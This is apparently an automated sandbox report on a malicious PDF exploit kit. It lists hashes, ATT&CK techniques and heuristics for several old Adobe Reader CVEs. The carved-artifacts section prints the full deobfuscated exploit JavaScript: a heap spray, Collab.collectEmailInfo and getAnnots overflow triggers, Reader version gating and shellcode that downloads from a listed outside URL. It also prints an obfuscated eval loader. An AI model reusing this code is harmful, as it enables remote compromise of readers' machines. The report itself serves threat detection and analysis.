PDF malware analysis — malicious · 2163f6196bfcf9e9

MALICIOUS

PDF

40.3 KB First seen: 2026-05-08

MD5: 2abb15b29132d6b9345a2530c4c0067a SHA-1: bd105c5676c44cbf1ededbfa86be330864632b9a SHA-256: 2163f6196bfcf9e931e156b0de88f3c427ce152f2601ba04bcd29fc7fe0a5aee

390 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File: User Execution: Malicious File T1059.001 Command and Scripting Interpreter: JavaScript T1566.001 Phishing: Spearphishing Attachment

The PDF file contains embedded JavaScript and U3D content, triggering heuristics related to CVE-2007-5659 and general JavaScript execution. The `collab.collectEmailInfo` function is a known indicator for this CVE. The embedded JavaScript, although not fully detailed here, is likely responsible for exploiting the vulnerability and executing further malicious actions. The presence of multiple extracted JavaScript files further supports this. The attack pattern is consistent with exploiting a PDF reader vulnerability to gain initial execution.

Machine Learning

Nyx PDF Classifier malicious score 0.9998

Heuristics 11

Adobe Reader U3D auto-activated 3D annotation — CVE-2009-3459 critical CVE likely CVE_2009_2990_U3D_AUTOACTIVATE

PDF contains a /Subtype /3D annotation that is configured to auto-activate on page view (/3DA <</A /PV /AIS /I>>) alongside a /U3D stream and JavaScript. This is the document shape used by CVE-2009-2990 (Adobe Reader U3D CLODProgressiveMeshDeclaration heap overflow, APSB09-15): the U3D parser runs without any user interaction once the page is rendered, while the accompanying JavaScript prepares a heap-spray to land controlled memory inside the corrupted allocation.
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
Adobe Reader U3D CLODProgressiveMeshDeclaration exploit critical CVE likely CVE_2009_3953

PDF combines malformed U3D 3D content with JavaScript/action activation. CVE-2009-3953 is an Adobe Reader/Acrobat U3D CLODProgressiveMeshDeclaration array-boundary vulnerability triggered by malformed U3D data in a PDF.
U3D/3D content in PDF — Adobe Reader 3D parser CVE-family indicator high CVE related PDF_U3D_CVE_RELATED

PDF contains U3D (Universal 3D) or 3D annotation content — CVE-2011-2462 and CVE-2009-3953 are critical vulnerabilities in Adobe Reader's U3D processing that allow arbitrary code execution. U3D content in PDFs is extremely rare in normal documents.
JavaScript action low 4 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Adobe Reader APSB09-15 patch-range version gate (CVE-2009-3459) high CVE likely PDF_JS_ADOBE_APSB09_15_PATCH_GATE

PDF JavaScript gates the exploit payload on an Adobe Reader version range that exactly matches the APSB09-15 patch boundary (< 9.2, < 8.1.7, < 7.1.4). That boundary fingerprints the CVE-2009-2990 / CVE-2009-3459 U3D parser vulnerabilities — no benign script tests all three Reader version-points together.

Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE

PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.

Matched line in script

var Hd_t1dK_4mUa = new Array();var Ubcr55iqe = 0;var X_U_S4HP6_q = "";function nyA8_aEfJ1a(RLjUmH1Eex, N_Q3Y__u_C722h){var Ux8G_rC__2 = N_Q3Y__u_C722h.toString();var m_QDO342_H = "";for(var pBQ1E0_Gl = 0; pBQ1E0_Gl < Ux8G_rC__2.length; pBQ1E0_Gl++) {var a2_35_5S5X = parseInt(Ux8G_rC__2.substr(pBQ1E0_Gl, 1));if (!isNaN(a2_35_5S5X)) {a2_35_5S5X = a2_35_5S5X.toString(16);if (a2_35_5S5X.length == 1) { a2_35_5S5X = "0" + a2_35_5S5X; }else if (a2_35_5S5X.length != 2) { a2_35_5S5X = "00"; }m_QDO342_H = …

PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://aghjpkfamlc.com/nte/PROX.html/yHf7928ea4V0100f060006R06330f21102Tbb948ac3203l000c Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`legacy_pdfkit_stage_000.js`	deobfuscated-js	repeated-marker hex decoded JavaScript at offset 0x2DD	13269 bytes
SHA-256: `d96be2c225e18dce75fcf21a46c5685383113ef3667f60cd4e8cf30228905744`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function e1_5GG__8_B8K0(rL_Tf8i0, amuwjYj_Ru){ var KU_D5_i_f = 'um' + 'en' + "ts";KU_D5_i_f = 'a' + 'rg' + KU_D5_i_f;var CV__L_2St = e1_5GG__8_B8K0[KU_D5_i_f]["c" + "a" + "zzee"['r'+'epl'+'ace'](/zz/, 'll')];CV__L_2St = CV__L_2St["t"+"oS"+"t"+"r"+"ing"]();var ps_i_RKAM_vX3HW = 0;try {if (app) {ps_i_RKAM_vX3HW++;ps_i_RKAM_vX3HW++;}} catch(e) { }var f_rx4_8_q_Q_GYo = new Array();if (rL_Tf8i0) { f_rx4_8_q_Q_GYo = rL_Tf8i0;} else {var p2W__2 = 0;var pn7d7_E8Ryu = 0;var u5_O35_k_S1b_o2 = 512;var p3A_cQmP8a = 52;p3A_cQmP8a = p3A_cQmP8a - 4;var x__1u_Mkei = p3A_cQmP8a + 9;while(pn7d7_E8Ryu < CV__L_2St.length) {var s1__RD6Ch0X = 1;var J__yj2Co_2R3WJ = CV__L_2St['c'+'h'+'arC'+'odeAt'](pn7d7_E8Ryu);if (J__yj2Co_2R3WJ <= x__1u_Mkei && J__yj2Co_2R3WJ >= p3A_cQmP8a) {if (p2W__2 == 4) { p2W__2 = 0; }if (isNaN(f_rx4_8_q_Q_GYo[p2W__2])) {f_rx4_8_q_Q_GYo[p2W__2] = 0;}f_rx4_8_q_Q_GYo[p2W__2] += J__yj2Co_2R3WJ;if (f_rx4_8_q_Q_GYo[p2W__2] > 512) {f_rx4_8_q_Q_GYo[p2W__2] -= u5_O35_k_S1b_o2;}p2W__2++;}pn7d7_E8Ryu++;}}p2W__2 = 4;for (var EY_TH___TG6OTt = 0; EY_TH___TG6OTt < 4; EY_TH___TG6OTt++) {if (f_rx4_8_q_Q_GYo[EY_TH___TG6OTt] > 256) {f_rx4_8_q_Q_GYo[EY_TH___TG6OTt] -= 256;}}var N0h_02I1x4s4y = 0;var PV__G6UqT2JR = "";var DY_4__5Ht_q = 0;var C_x_og8Ugf008_4 = 0;var m_i0__6m;var bK__Sdew0M = 0;while(DY_4__5Ht_q < amuwjYj_Ru.length) {var dXax_n = amuwjYj_Ru.substr(DY_4__5Ht_q, 1) + "Z";var V2yi_f = parseInt(dXax_n, 16);if (C_x_og8Ugf008_4) {m_i0__6m += V2yi_f;if (N0h_02I1x4s4y == 4) {N0h_02I1x4s4y -= 4;}var k_85__0a45V3Ls5 = m_i0__6m;k_85__0a45V3Ls5 = k_85__0a45V3Ls5 - (1 + bK__Sdew0M + 1) * f_rx4_8_q_Q_GYo[N0h_02I1x4s4y];if (k_85__0a45V3Ls5 < 0) { var G_u__3__x = 256;k_85__0a45V3Ls5 = k_85__0a45V3Ls5 - Math['floor'](k_85__0a45V3Ls5 / G_u__3__x) * 256;}k_85__0a45V3Ls5 = String['from' + 'CharCode'](k_85__0a45V3Ls5);if (ps_i_RKAM_vX3HW == 2) {PV__G6UqT2JR += k_85__0a45V3Ls5;} else if (ps_i_RKAM_vX3HW == 1) {PV__G6UqT2JR += V2yi_f;} else {PV__G6UqT2JR += DY_4__5Ht_q;}N0h_02I1x4s4y++;C_x_og8Ugf008_4 = 0;bK__Sdew0M++;} else {C_x_og8Ugf008_4 = 1;m_i0__6m = V2yi_f * 16;}DY_4__5Ht_q++;};var abcd=0; ;var u32n_c_TTkG_o16 = this;u32n_c_TTkG_o16['ev'+'al'](PV__G6UqT2JR);} e1_5GG__8_B8K0(0, "C8F1BAC03EB4EF94CB7423FF723D758102CD880EEBC7D0619C825919F6F97B96D302A8F578B34255EF7989057E0D80503D060912C6A84F75A9636CE83E06DF91B2CDE8C2588B76954873CC09ED3EC08E9BD120FF2795966A9B71A0F25A3A158DFAC14D05CE7C706E5961CBF9FD2F557F85C75AD24E79EB96EB82D8F5A608477F44D3A7FFA870CD40686F29D3172F7F95C1D39FD238B8DE9419636C12B73EA7481BCBFE0108703D7F8B5467D31202BF68A2CDC8C2488B568F3C38AE01E0F0F06263C10DD015977C40973088DB1E40E271D3D518FF8DBC505C0A65F0D8D52F326391EF3ACE42B5BE87EE78D3C08E12315107C087E7D27B9B492A8B2E0120F06152B1C37DFF2BA3C578BA4DF8109F4293852BFEDCC8DBC8E86789823BFF2D026E93E7F2FB14887840620B415DD0BD17CC4C22C1D1C9E1B956407231A1133C31CE48F3C227D36BAF45730F6881C99E4B015281C31DFFFBA365788A4D9801402FF35511C55BD5AE7EC48F4D840A090C37085178B963094C709881BC6FEBD58D0553552ABEB405E4B704883A4D15C0EFF9409B82F19AFF39850F55FD4550C08BF0625014B0B3C0F7822F536F6F4DF313289B40FFF514138B705986EA3899D2CD03B57F47E3FDF8E4BC758EC184C0C01F0DC052CBB063C0A7828F531F6FADF3C328E05D52B238D0F88B709DE76FE9E46D03145221D848DD86B1A27F3D4517D5010558407DB0B5FF4794DF53CE4237E8794D9D974AF9D405AEBD0F716E5F2BD4002F884EDEF5F6078AB8F05CDA4841C0D9F0CD7F53D4F7D3DA824F686A4D58C21EF2A04BB2FD27F17A9F43540C6FA0DB9E4D168194B03DD0FB9C808CB671D7E24125E05DD2E2540AABBD98513F7510CE123F3394B4F996070E81A649C5791EC0562530551EE0B4ECD7AFD2536F3E44052C37948882CDA5C03779D09BCA6528D59A20AC6C53EFCAD3EB700D405C403AC009F0B550B7DCF80C72B14F62FD6573C0EB35EC9377B03106D67865508F5CA80C4A31FF62D5E5160CABBE9794523099DDAE02E940ADB05DD00B9CA08CC671F7E25125005DE2B258D0888B909D776F09E4FD033452B1D868DD1672C342BA3BF8F56E056C704EDCC9FFC883054055301AF0F0F06B40DFEFD9E46583045219585312C344D59270B015FFF7943F537E4297E8294DE69500F33C09A5BE30823976B707DD1E0C5274C23FE733787458C945D7EB3AF0277F25C570D4A88499497586F912BE1C187873EF9B123AA4905DAA7E1D174E117292330970C29879CB967B82F8F9F442988CB5B0A5C04A880F55095B3316AF42606C51C2CE11F5AF1B7F9F4B8106FEF8886CE1C2EE1185AF3B7F2F3075C0B208DF5571DBF60C17C38469C874BD184D36C842C70518D0687959400B4D98CDBFF9E09B9BF628C822AF8266EB6FF7EB7D35004BE2C648DDA370B458694517EBDC3C658EB904B0C916CBDC58F2413713B024747B12ED88DDA694E87F5F6F43CE4145A293E602B0EC75821691196F63FFC3F08B4036BCC8D2CF8B4956BC88A4F30E0DA064CAEFFDFF817E83953C83CC12E73E074852BC08EC25827691C96FC3FF73F9FB9D2FDC67D29CC1AF7F456FFDC0DBF0115BA8FF9AC00EC0B271BB55E8FF753C205DF2C083C0E692E1515F4037E72AF05C40C9EFDBD56E840254F33E6405BC37B4882DB0F8E2E7811550995784CB09F9809BF8F11AC0769F4F7F1B7F7BD4A5F0BD4079EF3BD51E846254A33EBB085F42E38F06F529146EC072711B55A8FFD53CE94EA6FF5B1448B9BE87A241CEC959394640EAE077FFC5A1DF633E47E60C133E6794BAB085DD1681B940153028EF9D2F718F25C49FC0C370D2504C3023C01E1F9F7FC3FFCBD44D8BF09D064870D1BD43D27456EBF4FFD896617FA95B97054BF0BD40E2DF27FF87BF5354114BA4FFB016117F81DB4705F17B6B9DDA52C9D153001F671EB045C0A288A85159830AF4F22B107D70FC8D0E4DC4D840C930E8C068F0315B1EC8A0D1D5C302746E6B24FFF016917FC1DBC7056370ED40CC4028C2891C787823EFFB12EAA42B6C99425E113D2FAB7FE7B0D3C057AD105DEA3268D0900BCC7F44D639FF159B6F857A3B95C0300B0986C2B810EC7EA8617F5D82CCF4BC3C258E990470C00370C062CB41DDD07D174C49E2B548D28F70EB6C4268E9FF21425474ADDCA7D23CC1EF7FE56F3DFD5E0D404212C08ADB03C718899675201010217165A2EFCF0C368CF06CF26849FFD142B47430FC0D0E0DC458496A8B91D66048EC73B2BB05C058758542FA3B78ECB628D17F95023CF421C072719B55A8FF553CE04BD2C165C081709C585241F7131024347BB2D279D12B80CF67F66DF3107021316502EF8F0C967BCD404C4B55F9F442988CB5B093DD2672D595DA4028D0700BB2856605FA0EB6A90692B27C6BDB5B36D58EE504110F9470657F2E6F9708B92FC2513AFC12FF15AF6774CA3C78075D00017FEE011AE46FCBA788537CDDC0B63C0A7F91EF5FF4467EBC85E8770C0848021C8721C089FFB2C1A2643330330CF82F5F7FA9E4B8C0218DB08CE46F37FF9524905B5FFCB2FFE5AF07749A3035C03A1A9F7FD1E7DC1044C345822D848A09CC3788502EF707D007AF3C917C5467D2170BF28506053A0E56BC5A7F396FAFF4EE0B1D8697FE4B142FBF9E40D76FBEFF722F255104B87FE6B5AFC49748550314F6110C408BFA5BF35A85E951EF41ECCC4E46346402D8A704E9AFC25093602814E74B9681D4B0B9FF6FAF245003783B076E0D60506AC0EBD0F98033509D4B8E0150F0CC6AE1EF07F77AC0105DEA85A605E133E19077B8110AE9A38455D341BDD132F9DB9603020807A5C365881E62ACE9AE0DE08EABD140FF3795B66AAB71C017642F3F9439DE6D0BDAA8B14C2A86ECE4DE185F84C5EF7AD06FA0E094C34B4E01B0F0927F41EFDED7E5AF0F7F9F435C13EE0D6095E0F5FB0377C03548DC358DD98E09904577C9D8D9D67565597A4968C56302B185F4B53D026E8549454F4988D5AEF5155952C518C53B8691559B35EDD34136264527C63C04B875C5522D48D1C513001256A3B59DD84885A945FF76EB0690F5755707F1AEC5EBB6F65051354DD6F4355745D7F3CAD83775255010765EC5C335A25425B5FD05CEB53445AF767E043FF5D586E8F60EC59B8053562B35ADD8D005B94587C02BD0EA758582927289C57300D458D5B55DD07C8068455F48ABD5C6F5355162F33CC54B838355AA350D0351331042EBCB9E01D870B458694517EBCE0D2042770581D02B80B595D3400DD06345595017C08D15BF80E5504C3023C0F0F5B559A2C9B8C58B890059EA358DD98E09904577C9D8D9D67565517F7571C56300B050C3B53DD59C8040454F7189D6B2F5155052C318C53B8060509A35EDD43E08224527C86AD0B975C5515D47C8C513084281A6B59DD21686A845FF471CD85EF5755305C0ABC5EB80C3574E354D0520095645D7C8CA0639752550E24630C5C336775854B5FDD0CA863145AF7550D517F5D550B2F1E1C59B802050FA35AD06A735B24587C62ED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`legacy_pdfkit_stage_001.js`	deobfuscated-js	repeated-marker hex decoded JavaScript at offset 0x2DD	5523 bytes
SHA-256: `bfd7b52e11abd3f29bc95313e67d0389f9c913305df36ae2997f6af00d2ec016`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var Hd_t1dK_4mUa = new Array();var Ubcr55iqe = 0;var X_U_S4HP6_q = "";function nyA8_aEfJ1a(RLjUmH1Eex, N_Q3Y__u_C722h){var Ux8G_rC__2 = N_Q3Y__u_C722h.toString();var m_QDO342_H = "";for(var pBQ1E0_Gl = 0; pBQ1E0_Gl < Ux8G_rC__2.length; pBQ1E0_Gl++) {var a2_35_5S5X = parseInt(Ux8G_rC__2.substr(pBQ1E0_Gl, 1));if (!isNaN(a2_35_5S5X)) {a2_35_5S5X = a2_35_5S5X.toString(16);if (a2_35_5S5X.length == 1) { a2_35_5S5X = "0" + a2_35_5S5X; }else if (a2_35_5S5X.length != 2) { a2_35_5S5X = "00"; }m_QDO342_H = a2_35_5S5X + m_QDO342_H;}}while(m_QDO342_H.length < 8) { m_QDO342_H = "0" + m_QDO342_H; }var U05LPlLa_B3U = RLjUmH1Eex.toString(16);if (U05LPlLa_B3U.length == 1) { U05LPlLa_B3U = "0" + U05LPlLa_B3U; }else if (U05LPlLa_B3U.length != 2) { U05LPlLa_B3U = "00"; }m_QDO342_H = "3" + U05LPlLa_B3U + "P" + m_QDO342_H;return m_QDO342_H;}function b_f_g_Nl2R2WGm(D8_5_K, g_s5h4R4I){var L8X1_srTT = new Array("");var Y6rxlS = D8_5_K;var L_2Fq__K_e;if ((L_2Fq__K_e = D8_5_K.lastIndexOf("%u00")) != -1) {if (L_2Fq__K_e + 6 == D8_5_K.length) {L8X1_srTT[0] = D8_5_K.substr(L_2Fq__K_e + 4, 2);Y6rxlS = D8_5_K.substring(0, L_2Fq__K_e);}}L_2Fq__K_e = 1;for (pBQ1E0_Gl = 0; pBQ1E0_Gl < g_s5h4R4I.length; pBQ1E0_Gl++) {var PO__QoC47 = g_s5h4R4I.charCodeAt(pBQ1E0_Gl).toString(16);if (PO__QoC47.length == 1) { PO__QoC47 = "0" + PO__QoC47; }L8X1_srTT[L_2Fq__K_e] = PO__QoC47;L_2Fq__K_e++;}pBQ1E0_Gl = L8X1_srTT[0].length ? 0 : 1;L8X1_srTT[L_2Fq__K_e] = "00";L8X1_srTT[L_2Fq__K_e + 1] = "00";L_2Fq__K_e += 2;if ((L8X1_srTT.length - pBQ1E0_Gl) % 2) {L8X1_srTT[L_2Fq__K_e] = "00";}while(pBQ1E0_Gl < L8X1_srTT.length) {Y6rxlS += "%u" + L8X1_srTT[pBQ1E0_Gl + 1] + L8X1_srTT[pBQ1E0_Gl];pBQ1E0_Gl += 2;}Y6rxlS += "%u0000";return Y6rxlS;}function u_d__hK_B1(lJ___WTp, g_0a_Lq2D){while (lJ___WTp.length2<g_0a_Lq2D) {lJ___WTp += lJ___WTp;}lJ___WTp = lJ___WTp.substring(0,g_0a_Lq2D/2);return lJ___WTp;}function m_F_d_e1R(wF__twNEktXA, Ij3St5y1e14, v4D0H_ds_20yPPt){var Q_i_t0YhCg = 0x0c0c0c0c;var lJ___WTp = unescape(Ij3St5y1e14);var g_s5h4R4I = nyA8_aEfJ1a(wF__twNEktXA, v4D0H_ds_20yPPt);var r___v7____u3ds = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var D8_5_K = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%u15e9%u0001%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u00a9%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0093%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u10ec%u0001%u8b00%u83dc%u0cc3%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302%u8043%u003b%ufa75%u7b81%u2efc%u6c64%u756c%u8303%u08eb%u0389%u43c7%u2e04%u6c64%uc66c%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8%u1d75%u016a%ueb83%uc70c%u7203%u6765%uc773%u0443%u7276%u3233%u43c7%u2008%u732d%u5320%u56ff%u5a04%u8359%u04c2%u8041%u003a%u9d75%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%ue6e8%ufffe%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u6b70%u6e75%u0054%u7468%u7074%u2f3a%u612f%u6867%u706a%u666b%u6d61%u636c%u632e%u6d6f%u6e2f%u6574%u502f%u4f52%u2e58%u7468%u6c6d%u792f%u6648%u3937%u3832%u6165%u5634%u3130%u3030%u3066%u3036%u3030%u5236%u3630%u3333%u6630%u3132%u3031%u5432%u6262%u3439%u6138%u3363%u3032%u6c33%u3030%u6330";app.J1D__SQ___TX3S = unescape(b_f_g_Nl2R2WGm(D8_5_K, g_s5h4R4I));var OiU2_Hc_b___CVS = 0x400000;var h_5__48p_N = r___v7____u3ds.length 2;var g_0a_Lq2D = OiU2_Hc_b___CVS - (h_5__48p_N+0x38);lJ___WTp = u_d__hK_B1(lJ___WTp, g_0a_Lq2D);var XOJhs__cjM3 = (Q_i_t0YhCg - 0x400000)/OiU2_Hc_b___CVS;for (var O_3K35_OCqp3 = 0; O_3K35_OCqp3 < XOJhs__cjM3; O_3K35_OCqp3++) {Hd_t1dK_4mUa[O_3K35_OCqp3] = lJ___WTp + r___v7____u3ds;}}function V_8_c_F_L3(){var V_NG7_Pv_3hc = "";for (pBQ1E0_Gl = 0; pBQ1E0_Gl < 12; pBQ1E0_Gl++) {V_NG7_Pv_3hc += unescape("%u0c0c%u0c0c");}var S__uQtE__E = "";for (pBQ1E0_Gl = 0; pBQ1E0_Gl < 750; pBQ1E0_Gl++) {S__uQtE__E += V_NG7_Pv_3hc;}this.collabStore = Collab.collectEmailInfo({subj: "", msg: S__uQtE__E});app.clearTimeOut(Ubcr55iqe);}function R_7m_W1s6I_jW7D(u_7K7PM_6_QKq){var Ls0b_gEPU_66_V3 = Ubcr55iqe;if ((u_7K7PM_6_QKq >= 8 && u_7K7PM_6_QKq < 8.11) \|\| u_7K7PM_6_QKq < 7.1) {m_F_d_e1R(23, "%u0c0c%u0c0c", u_7K7PM_6_QKq);app.l6_53l = V_8_c_F_L3;Ubcr55iqe = app.setTimeOut("app.l6_53l()", 1);} if (u_7K7PM_6_QKq < 7.12) {function T2_t_KU_x() {try {m_F_d_e1R(22, "%u0c0c%u0c0c", u_7K7PM_6_QKq);var CP_kx8_suuQ2r = -0x7CFCFCFD;this.getAnnots(CP_kx8_suuQ2r, CP_kx8_suuQ2r, CP_kx8_suuQ2r, CP_kx8_suuQ2r);} catch(e) {console.println("annots exception error"); }}T2_t_KU_x();}m_F_d_e1R(13, "%u0c0c%u0c0c", u_7K7PM_6_QKq);if (Ls0b_gEPU_66_V3) {app.clearTimeOut(Ls0b_gEPU_66_V3);}}var v4D0H_ds_20yPPt = 0;var ME1Yn_O_4ip2_v = app.plugIns;for (var N_up_Q_X5xp_b0 = 0; N_up_Q_X5xp_b0 < ME1Yn_O_4ip2_v.length; N_up_Q_X5xp_b0++) {var l7_2FMIr2T___8 = ME1Yn_O_4ip2_v[N_up_Q_X5xp_b0].version;if (l7_2FMIr2T___8 > v4D0H_ds_20yPPt) { v4D0H_ds_20yPPt = l7_2FMIr2T___8; }}if (app.viewerVersion == 9.103 && v4D0H_ds_20yPPt < 9.13) {v4D0H_ds_20yPPt = 9.13;}if (!(v4D0H_ds_20yPPt < 9 \|\| v4D0H_ds_20yPPt >= 9.2) \|\| !(v4D0H_ds_20yPPt < 8 \|\| v4D0H_ds_20yPPt >= 8.17) \|\| !(v4D0H_ds_20yPPt < 7 \|\| v4D0H_ds_20yPPt >= 7.14)) {R_7m_W1s6I_jW7D(v4D0H_ds_20yPPt);}
`u3d_00_off0000344b.bin`	pdf-3d-stream	PDF U3D 3D stream at offset 0x344B	28021 bytes
SHA-256: `70cf2aead4823e6d2651c9281eed0aa967449da358f439efb9e8e707421175e0`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact entropy is 7.79, consistent with packed or encrypted content.

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Malware Insights

Machine Learning

Heuristics 11

Related samples 8

Extracted artifacts 3